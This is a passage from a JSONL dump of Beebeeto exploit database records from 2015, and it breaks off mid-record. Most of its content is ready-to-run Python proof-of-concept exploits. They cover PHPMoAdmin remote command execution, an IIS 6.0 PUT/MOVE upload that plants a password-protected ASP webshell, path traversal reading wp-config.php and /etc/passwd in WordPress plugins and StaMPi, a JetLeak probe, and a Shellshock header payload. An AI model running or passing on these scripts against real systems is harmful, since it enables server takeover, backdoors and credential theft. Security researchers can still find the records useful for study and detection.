"tag": "PHPMoAdmin\u6f0f\u6d1e,PHPMoAdmin\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c,/moadmin.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0044',\r\n 'name': 'PHPMoAdmin /moadmin.php \u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e (0-Day) POC',\r\n 'author': 'foundu',\r\n 'create_date': '2015-03-04',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'PHPMoAdmin',\r\n 'vul_version': ['*'],\r\n 'type': 'Command Execution',\r\n 'tag': ['PHPMoAdmin\u6f0f\u6d1e', 'PHPMoAdmin\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c', '/moadmin.php', 'php'],\r\n 'desc': 'PHPMoAdmin is a MongoDB administration tool for PHP built on a\\\r\n stripped-down version of the Vork high-performance framework.',\r\n 'references': ['http://seclists.org/fulldisclosure/2015/Mar/19',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n file_path = ['/moadmin.php', '/moadmin/moadmin.php', '/wu-moadmin/wu-moadmin.php']\r\n for f in file_path:\r\n verify_url = args['options']['target'] + f\r\n command = {'object': '''1;system('echo -n \"beebeeto\"|md5sum;');exit''',}\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = requests.post(verify_url, data=command).content\r\n if '595bb9ce8726b4b55f538d3ca0ddfd76' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n args['poc_ret']['post_content'] = \"object=1;system('command');exit\"\r\n return args\r\n continue\r\n return args\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "PHPMoAdmin is a MongoDB administration tool for PHP built on a\r\nstripped-down version of the Vork high-performance framework.", "app_name": "PHPMoAdmin", "id": "poc-2015-0044", "layer4_protocol": null} +{"create_date": "2015-03-03 10:51:31", "name": "IIS 6.0 PUT \u4efb\u610f\u6587\u4ef6\u521b\u5efa\u6f0f\u6d1e Exploit", "level": "\u9ad8\u5371", "batchable": 1, "author": "1024", "rank": 2, "port": null, "vul_type": "\u4efb\u610f\u6587\u4ef6\u521b\u5efa", "tag": "IIS PUT \u6f0f\u6d1e,IIS,IIS\u4efb\u610f\u6587\u4ef6\u4e0a\u4f20,IIS\u8001\u6f0f\u6d1e", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\nimport urlparse\r\nimport httplib\r\nimport sys\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0043',\r\n 'name': 'IIS 6.0 PUT \u4efb\u610f\u6587\u4ef6\u521b\u5efa\u6f0f\u6d1e Exploit',\r\n 'author': '1024',\r\n 'create_date': '2015-03-03',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'IIS',\r\n 'vul_version': ['6.0'],\r\n 'type': 'Arbitrary File Creation',\r\n 'tag': ['IIS PUT \u6f0f\u6d1e', 'IIS', 'IIS\u4efb\u610f\u6587\u4ef6\u4e0a\u4f20', 'IIS\u8001\u6f0f\u6d1e'],\r\n 'desc': \"IIS\u914d\u7f6e\u4e0d\u5f53\u5bfc\u81f4\u7684\u4efb\u610f\u6587\u4ef6\u521b\u5efa\u6f0f\u6d1e\u3002\",\r\n 'references': ['http://www.lijiejie.com/python-iis-put-file/',\r\n ],\r\n },\r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n verify_url = args['options']['target']\r\n if verify_url.startswith(('http://', 'https://')):\r\n verify_url = urlparse.urlparse(verify_url).netloc\r\n if args['options']['verbose']:\r\n print '[*] Detection server type...'\r\n conn = httplib.HTTPConnection(verify_url)\r\n conn.request(method='OPTIONS', url='/')\r\n headers = dict(conn.getresponse().getheaders())\r\n if args['options']['verbose']:\r\n if headers.get('server', '').find('Microsoft-IIS') < 0:\r\n print '[-] This is not an IIS web server'\r\n if 'public' in headers and \\\r\n headers['public'].find('PUT') > 0 and \\\r\n headers['public'].find('MOVE') > 0:\r\n conn.close()\r\n conn = httplib.HTTPConnection(verify_url)\r\n # PUT hack.txt\r\n conn.request( method='PUT', url='/hack.txt', body='<%execute(request(\"bb2\"))%>' )\r\n conn.close()\r\n conn = httplib.HTTPConnection(verify_url)\r\n # mv hack.txt to hack.asp\r\n conn.request(method='MOVE', url='/hack.txt', headers={'Destination': '/hack.asp'})\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n args['poc_ret']['webshell'] = '%s/hack.txt' % verify_url\r\n args['poc_ret']['password'] = 'bb2'\r\n return args\r\n args['poc_ret']['false'] = '[-] Server not vulnerable'\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "IIS\u914d\u7f6e\u4e0d\u5f53\u5bfc\u81f4\u7684\u4efb\u610f\u6587\u4ef6\u521b\u5efa\u6f0f\u6d1e\u3002", "app_name": "IIS", "id": "poc-2015-0043", "layer4_protocol": null} +{"create_date": "2015-03-02 15:12:41", "name": "Wordpress CodeArt Google MP3 Player Plugin <=1.0.11 /direct_download.php \u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "Tiny", "rank": 3, "port": null, "vul_type": "\u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d", "tag": "Wordpress CodeArt Google MP3 Player\u63d2\u4ef6\u6f0f\u6d1e,/direct_download.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport urllib\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = { \r\n # poc\u76f8\u5173\u4fe1\u606f \r\n 'poc': { \r\n 'id': 'poc-2015-0041',\r\n 'name': 'Wordpress CodeArt Google MP3 Player Plugin <=1.0.11 /direct_download.php \u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d\u6f0f\u6d1e POC',\r\n 'author': 'Tiny',\r\n 'create_date': '2015-03-01',\r\n }, \r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f \r\n 'protocol': { \r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n }, \r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f \r\n 'vul': { \r\n 'app_name': 'Wordpress',\r\n 'vul_version': ['<=1.0.11',], \r\n 'type': 'Arbitrary File Download',\r\n 'tag': ['Wordpress CodeArt Google MP3 Player\u63d2\u4ef6\u6f0f\u6d1e', '/direct_download.php','php'],\r\n 'desc': '''\r\n Wordpress CodeArt Google MP3 Player Plugin has file download in\r\n do/direct_download.php.\r\n ''',\r\n 'references': ['http://www.exploit-db.com/exploits/35460/', \r\n ], \r\n }, \r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n payload = 'file=../../../wp-config.php'\r\n path = '/wp-content/plugins/google-mp3-audio-player/direct_download.php?'\r\n verify_url = args['options']['target'] + path + payload\r\n request = urllib2.Request(verify_url)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n response = urllib2.urlopen(request)\r\n reg = re.compile(\"DB_PASSWORD\")\r\n if reg.findall(response.read()):\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n \r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n \r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "Wordpress CodeArt Google MP3 Player Plugin has file download in do/direct_download.php.", "app_name": "WordPress", "id": "poc-2015-0041", "layer4_protocol": null} +{"create_date": "2015-03-02 15:07:11", "name": "WordPress UnGallery plugin <= 1.5.8 /source_vuln.php \u672c\u5730\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "Tiny", "rank": 3, "port": null, "vul_type": "\u672c\u5730\u6587\u4ef6\u5305\u542b", "tag": "WordPress UnGallery plugin\u6f0f\u6d1e,\u672c\u5730\u6587\u4ef6\u5305\u542b,source_vuln.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0040',\r\n 'name': 'WordPress UnGallery plugin <= 1.5.8 /source_vuln.php \u672c\u5730\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e POC',\r\n 'author': 'Tiny',\r\n 'create_date': '2015-03-01',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'WordPress',\r\n 'vul_version': ['<=1.5.8'],\r\n 'type': 'Local File Inclusion',\r\n 'tag': ['WordPress UnGallery plugin\u6f0f\u6d1e', '\u672c\u5730\u6587\u4ef6\u5305\u542b', 'source_vuln.php', 'php'],\r\n 'desc': '\u6f0f\u6d1e\u6587\u4ef6\uff1a/wp-content/plugins/ungallery/source_vuln.php',\r\n 'references': ['http://www.exploit-db.com/exploits/17704/',\r\n ],\r\n },\r\n }\r\n\r\n \r\n @classmethod\r\n def verify(cls, args):\r\n payload = '/wp-content/plugins/ungallery/source_vuln.php?pic=../../../../../../../etc/passwd%00'\r\n verify_url = args['options']['target'] + payload\r\n req = urllib2.Request(verify_url)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = urllib2.urlopen(req).read()\r\n if 'root:x:0:0:root:/root:/bin/bash' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url']= verify_url\r\n return args\r\n\r\n exploit = verify\r\n \r\n \r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "\u6f0f\u6d1e\u6587\u4ef6\uff1a/wp-content/plugins/ungallery/source_vuln.php", "app_name": "WordPress", "id": "poc-2015-0040", "layer4_protocol": null} +{"create_date": "2015-02-26 14:04:17", "name": "Jetty Web Server 9.2.x-9.3.x \u5171\u4eab\u7f13\u5b58\u533a\u8fdc\u7a0b\u6cc4\u9732\u6f0f\u6d1e [CVE-2015-2080] POC", "level": "\u9ad8\u5371", "batchable": 1, "author": "user1018", "rank": 5, "port": null, "vul_type": "\u5176\u4ed6\u7c7b\u578b", "tag": "Jetty Web Server\u6f0f\u6d1e,CVE-2015-2080,\u5171\u4eab\u7f13\u5b58\u533a\u8fdc\u7a0b\u6cc4\u9732\u6f0f\u6d1e", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport ssl\r\nimport sys\r\nimport urllib\r\nimport httplib\r\nimport urllib2\r\nimport string\r\nimport getopt\r\n\r\nfrom urlparse import urlparse\r\n\r\nfrom baseframe import BaseFrame\r\nfrom utils.http.forgeheaders import ForgeHeaders\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0037',\r\n 'name': 'Jetty Web Server 9.2.x-9.3.x \u5171\u4eab\u7f13\u5b58\u533a\u8fdc\u7a0b\u6cc4\u9732\u6f0f\u6d1e [CVE-2015-2080] POC',\r\n 'author': 'user1018',\r\n 'create_date': '2015-02-26',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Jetty Web Server',\r\n 'vul_version': ['9.2.8'],\r\n 'type': 'Other',\r\n 'tag': ['Jetty Web Server\u6f0f\u6d1e', 'CVE-2015-2080', '\u5171\u4eab\u7f13\u5b58\u533a\u8fdc\u7a0b\u6cc4\u9732\u6f0f\u6d1e'],\r\n 'desc': '''\r\n GDS\u5b89\u5168\u516c\u53f8\u53d1\u73b0\u4e86\u4e00\u4e2aJetty web server\u5171\u4eab\u7f13\u5b58\u533a\u8fdc\u7a0b\u6cc4\u9732\u6f0f\u6d1e\uff0c\r\n \u901a\u8fc7\u8be5\u6f0f\u6d1e\u4e00\u4e2a\u6ca1\u6709\u8ba4\u8bc1\u8fc7\u7684\u653b\u51fb\u8005\u53ef\u4ee5\u8fdc\u7a0b\u83b7\u53d6\u4e4b\u524d\u5408\u6cd5\u7528\u6237\u5411\u670d\u52a1\u5668\u53d1\u9001\u7684\u8bf7\u6c42\u3002\r\n \u7b80\u800c\u8a00\u4e4b\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4ece\u5b58\u5728\u6f0f\u6d1e\u7684\u670d\u52a1\u5668\u8fdc\u7a0b\u83b7\u53d6\u7f13\u5b58\u533a\u7684\u654f\u611f\u4fe1\u606f\uff0c\r\n \u5305\u62echttp\u5934\u7684\u4fe1\u606f\uff08cookies\u3001\u8ba4\u8bc1\u7684tokens\u3001\u9632\u6b62CSRF\u7684tokens\u7b49\u7b49\uff09\u4ee5\u53ca\u7528\u6237POST\u7684\u6570\u636e\uff08\u7528\u6237\u540d\u3001\u5bc6\u7801\u7b49\uff09\u3002\r\n\r\n \u6f0f\u6d1e\u7684\u6839\u6e90\u5728\u4e8e\u5f53header\u4e2d\u88ab\u63d2\u5165\u6076\u610f\u7684\u5b57\u7b26\u5e76\u63d0\u4ea4\u5230\u670d\u52a1\u5668\u540e\uff0c\u4f1a\u4ece\u5f02\u5e38\u5904\u7406\u4ee3\u7801\u4e2d\u83b7\u5f97\u5171\u4eab\u7f13\u51b2\u533a\u5927\u7ea616\r\n bytes\u7684\u6570\u636e\u3002\u56e0\u6b64\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u63d0\u4ea4\u4e00\u4e2a\u7cbe\u5fc3\u6784\u9020\u7684\u8bf7\u6c42\u6765\u83b7\u53d6\u5f02\u5e38\u5e76\u504f\u79fb\u5230\u5171\u4eab\u7f13\u51b2\u533a\u4e2d\uff0c\r\n \u5171\u4eab\u7f13\u51b2\u533a\u4e2d\u5b58\u7684\u662f\u7528\u6237\u5148\u524d\u63d0\u4ea4\u7684\u6570\u636e\uff0cJetty\u670d\u52a1\u5668\u4f1a\u6839\u636e\u7528\u6237\u63d0\u4ea4\u7684\u8bf7\u6c42\u8fd4\u56de\u5927\u7ea616\r\n bytes\u7684\u6570\u636e\u5757\uff0c\u8fd9\u91cc\u9762\u4f1a\u5305\u542b\u654f\u611f\u4fe1\u606f\u3002\r\n ''',\r\n 'references': [\r\n 'http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html',\r\n 'https://github.com/GDSSecurity/Jetleak-Testing-Script/blob/master/jetleak_tester.py'\r\n 'http://bobao.360.cn/news/detail/1251.html',\r\n ],\r\n },\r\n }\r\n\r\n\r\n def _init_user_parser(self):\r\n self.user_parser.add_option('-p','--port',\r\n action='store', dest='port', type='string', default='80',\r\n help='Use port. Default: 80')\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n '''\r\n Github Author: Gotham Digital Science\r\n Purpose: This tool is intended to provide a quick-and-dirty way for organizations to test whether\r\n their Jetty web server versions are vulnerable to JetLeak. Currently, this script does\r\n not handle sites with invalid SSL certs. This will be fixed in a future iteration.\r\n '''\r\n\r\n conn = None\r\n verify_url = urlparse(args['options']['target'])\r\n port = args['options']['port']\r\n fake_headers = ForgeHeaders().get_headers()\r\n\r\n if verify_url.scheme == \"https\":\r\n conn = httplib.HTTPSConnection(verify_url.netloc + \":\" + port)\r\n elif verify_url.scheme == \"http\":\r\n conn = httplib.HTTPConnection(verify_url.netloc + \":\" + port)\r\n else:\r\n args['poc_ret']['Error'] = \"Error: Only 'http' or 'https' URL Schemes Supported\"\r\n return args\r\n\r\n if args['options']['verbose']:\r\n print '[*] Connect: %s ...' % verify_url.netloc\r\n\r\n try:\r\n x = '\\x00'\r\n fake_headers['Referer'] = x\r\n conn.request('POST', '/', '', fake_headers)\r\n r1 = conn.getresponse()\r\n except:\r\n return args\r\n\r\n if (r1.status == 400 and (\"Illegal character 0x0 in state\" in r1.reason)):\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = '%s:%s' % (verify_url, port)\r\n args['poc_ret']['headers'] = fake_headers\r\n return args\r\n return args\r\n\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "GDS\u5b89\u5168\u516c\u53f8\u53d1\u73b0\u4e86\u4e00\u4e2aJetty web server\u5171\u4eab\u7f13\u5b58\u533a\u8fdc\u7a0b\u6cc4\u9732\u6f0f\u6d1e\uff0c\r\n\u901a\u8fc7\u8be5\u6f0f\u6d1e\u4e00\u4e2a\u6ca1\u6709\u8ba4\u8bc1\u8fc7\u7684\u653b\u51fb\u8005\u53ef\u4ee5\u8fdc\u7a0b\u83b7\u53d6\u4e4b\u524d\u5408\u6cd5\u7528\u6237\u5411\u670d\u52a1\u5668\u53d1\u9001\u7684\u8bf7\u6c42\u3002\r\n\u7b80\u800c\u8a00\u4e4b\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4ece\u5b58\u5728\u6f0f\u6d1e\u7684\u670d\u52a1\u5668\u8fdc\u7a0b\u83b7\u53d6\u7f13\u5b58\u533a\u7684\u654f\u611f\u4fe1\u606f\uff0c\r\n\u5305\u62echttp\u5934\u7684\u4fe1\u606f\uff08cookies\u3001\u8ba4\u8bc1\u7684tokens\u3001\u9632\u6b62CSRF\u7684tokens\u7b49\u7b49\uff09\u4ee5\u53ca\u7528\u6237POST\u7684\u6570\u636e\uff08\u7528\u6237\u540d\u3001\u5bc6\u7801\u7b49\uff09\u3002\r\n\r\n\u6f0f\u6d1e\u7684\u6839\u6e90\u5728\u4e8e\u5f53header\u4e2d\u88ab\u63d2\u5165\u6076\u610f\u7684\u5b57\u7b26\u5e76\u63d0\u4ea4\u5230\u670d\u52a1\u5668\u540e\uff0c\u4f1a\u4ece\u5f02\u5e38\u5904\u7406\u4ee3\u7801\u4e2d\u83b7\u5f97\u5171\u4eab\u7f13\u51b2\u533a\u5927\u7ea616\r\nbytes\u7684\u6570\u636e\u3002\u56e0\u6b64\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u63d0\u4ea4\u4e00\u4e2a\u7cbe\u5fc3\u6784\u9020\u7684\u8bf7\u6c42\u6765\u83b7\u53d6\u5f02\u5e38\u5e76\u504f\u79fb\u5230\u5171\u4eab\u7f13\u51b2\u533a\u4e2d\uff0c\r\n\u5171\u4eab\u7f13\u51b2\u533a\u4e2d\u5b58\u7684\u662f\u7528\u6237\u5148\u524d\u63d0\u4ea4\u7684\u6570\u636e\uff0cJetty\u670d\u52a1\u5668\u4f1a\u6839\u636e\u7528\u6237\u63d0\u4ea4\u7684\u8bf7\u6c42\u8fd4\u56de\u5927\u7ea616\r\nbytes\u7684\u6570\u636e\u5757\uff0c\u8fd9\u91cc\u9762\u4f1a\u5305\u542b\u654f\u611f\u4fe1\u606f\u3002", "app_name": "Jetty Web Server", "id": "poc-2015-0037", "layer4_protocol": null} +{"create_date": "2015-02-19 10:38:44", "name": "StaMPi /path/fotogalerie.php \u672c\u5730\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "Tiny", "rank": 3, "port": null, "vul_type": "\u672c\u5730\u6587\u4ef6\u5305\u542b", "tag": "StaMPi\u6f0f\u6d1e,\u672c\u5730\u6587\u4ef6\u5305\u542b,/path/fotogalerie.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0035',\r\n 'name': 'StaMPi /path/fotogalerie.php \u672c\u5730\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e POC',\r\n 'author': 'Tiny',\r\n 'create_date': '2015-02-16',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'StaMPi',\r\n 'vul_version': ['*'],\r\n 'type': 'Local File Inclusion',\r\n 'tag': ['StaMPi\u6f0f\u6d1e', '\u672c\u5730\u6587\u4ef6\u5305\u542b', '/path/fotogalerie.php', 'php'],\r\n 'desc': '\u6f0f\u6d1e\u6587\u4ef6\uff1a/path/fotogalerie.php',\r\n 'references': ['http://www.exploit-db.com/exploits/36031/',\r\n ],\r\n },\r\n }\r\n\r\n \r\n @classmethod\r\n def verify(cls, args):\r\n payload = '/fotogalerie.php?id=../../../../../../../../../../etc/passwd%00'\r\n verify_url = args['options']['target'] + payload\r\n req = urllib2.Request(verify_url)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = urllib2.urlopen(req).read()\r\n if 'root:x:0:0:root:/root:/bin/bash' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url']= verify_url\r\n return args\r\n\r\n exploit = verify\r\n \r\n \r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "\u6f0f\u6d1e\u6587\u4ef6\uff1a/path/fotogalerie.php", "app_name": "Other", "id": "poc-2015-0035", "layer4_protocol": null} +{"create_date": "2015-02-15 17:20:25", "name": "GNU Bash <= 4.3 Shockshell \u7834\u58f3\u6f0f\u6d1e POC", "level": "\u9ad8\u5371", "batchable": 1, "author": "Tommy", "rank": 3, "port": null, "vul_type": "\u547d\u4ee4\u6267\u884c", "tag": "bash\u6f0f\u6d1e,CVE-2014-6271,ShellShock\u7834\u58f3\u6f0f\u6d1e,cgi", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport md5\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0032',\r\n 'name': 'GNU Bash <= 4.3 Shockshell \u7834\u58f3\u6f0f\u6d1e POC',\r\n 'author': 'Tommy',\r\n 'create_date': '2015-02-12',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'bash',\r\n 'vul_version': ['<=4.3'],\r\n 'type': 'Command Execution',\r\n 'tag': ['bash\u6f0f\u6d1e', 'CVE-2014-6271', 'ShellShock\u7834\u58f3\u6f0f\u6d1e', 'cgi'],\r\n 'desc': '\u6267\u884cshell\u547d\u4ee4\uff0c\u4ece\u800c\u5bfc\u81f4\u4fe1\u606f\u6cc4\u6f0f\u3001\u672a\u6388\u6743\u7684\u6076\u610f\u4fee\u6539\u3001\u670d\u52a1\u4e2d\u65ad',\r\n 'references': [\r\n 'http://www.exploit-db.com/exploits/34765/',\r\n 'http://blog.knownsec.com/2014/09/shellshock_response_profile/',\r\n ],\r\n },\r\n }\r\n\r\n\r\n '''\r\n GNU Bash 4.3\u53ca\u4e4b\u524d\u7248\u672c\u5728\u8bc4\u4f30\u67d0\u4e9b\u6784\u9020\u7684\u73af\u5883\u53d8\u91cf\u65f6\u5b58\u5728\u5b89\u5168\u6f0f\u6d1e\uff0c\r\n \u5411\u73af\u5883\u53d8\u91cf\u503c\u5185\u7684\u51fd\u6570\u5b9a\u4e49\u540e\u6dfb\u52a0\u591a\u4f59\u7684\u5b57\u7b26\u4e32\u4f1a\u89e6\u53d1\u6b64\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u5229\u7528\u6b64\u6f0f\u6d1e\u6539\u53d8\u6216\u7ed5\u8fc7\u73af\u5883\u9650\u5236\uff0c\r\n \u4ee5\u6267\u884cShell\u547d\u4ee4\u3002\u67d0\u4e9b\u670d\u52a1\u548c\u5e94\u7528\u5141\u8bb8\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u8fdc\u7a0b\u653b\u51fb\u8005\u63d0\u4f9b\u73af\u5883\u53d8\u91cf\u4ee5\u5229\u7528\u6b64\u6f0f\u6d1e\u3002\r\n \u6b64\u6f0f\u6d1e\u6e90\u4e8e\u5728\u8c03\u7528Bash Shell\u4e4b\u524d\u53ef\u4ee5\u7528\u6784\u9020\u7684\u503c\u521b\u5efa\u73af\u5883\u53d8\u91cf\u3002\r\n \u8fd9\u4e9b\u53d8\u91cf\u53ef\u4ee5\u5305\u542b\u4ee3\u7801\uff0c\u5728Shell\u88ab\u8c03\u7528\u540e\u4f1a\u88ab\u7acb\u5373\u6267\u884c\u3002\r\n '''\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n\tip = args['options']['target']\r\n\topener = urllib2.build_opener()\r\n\t# Modify User-agent header value for Shell Shock test\r\n\topener.addheaders = [\r\n ('User-agent', '() { :;}; echo Content-Type: text/plain ; echo \"1a8b8e54b53f63a8efae84e064373f19:\"'),\r\n\t\t\t\t('Accept','text/plain'),\r\n\t\t\t\t('Content-type','application/x-www-form-urlencoded'),\r\n\t\t\t\t('Referer','http://www.baidu.com')\r\n\t\t\t\t]\r\n\ttry:\r\n\t\tURL = ip\r\n\t\tresponse = opener.open(URL)\r\n\t\theaders = response.info()\r\n\t\tstatus = response.getcode()\r\n\t\topener.close()\r\n\t\tif status==200:\r\n\t\t\tif \"1a8b8e54b53f63a8efae84e064373f19\" in headers:\r\n\t\t\t\targs['success'] = True\r\n\t\t\t\targs['poc_ret']['vul_url'] = URL\r\n\t\t\telse:\r\n\t\t\t\targs['success'] = False\r\n\t\treturn args\r\n\t\t\r\n\texcept Exception as e:\r\n\t\topener.close()\r\n\t\targs['success'] = False\r\n\t\treturn args\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "\u6267\u884cshell\u547d\u4ee4\uff0c\u4ece\u800c\u5bfc\u81f4\u4fe1\u606f\u6cc4\u6f0f\u3001\u672a\u6388\u6743\u7684\u6076\u610f\u4fee\u6539\u3001\u670d\u52a1\u4e2d\u65ad", "app_name": "bash", "id": "poc-2015-0032", "layer4_protocol": null} +{"create_date": "2015-02-09 22:57:18", "name": "FCKeditor <= 2.4.3 /upload.asp File Upload POC & Exploit", "level": "\u4e2d\u5371", "batchable": 0, "author": "r0gent", "rank": 3, "port": null, "vul_type": "\u6587\u4ef6\u4e0a\u4f20", "tag": "FCKeditor\u6f0f\u6d1e,FCK\u7f16\u8f91\u5668\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e,asp,php,aspx", "path": null, "protocol": null, "source_code": 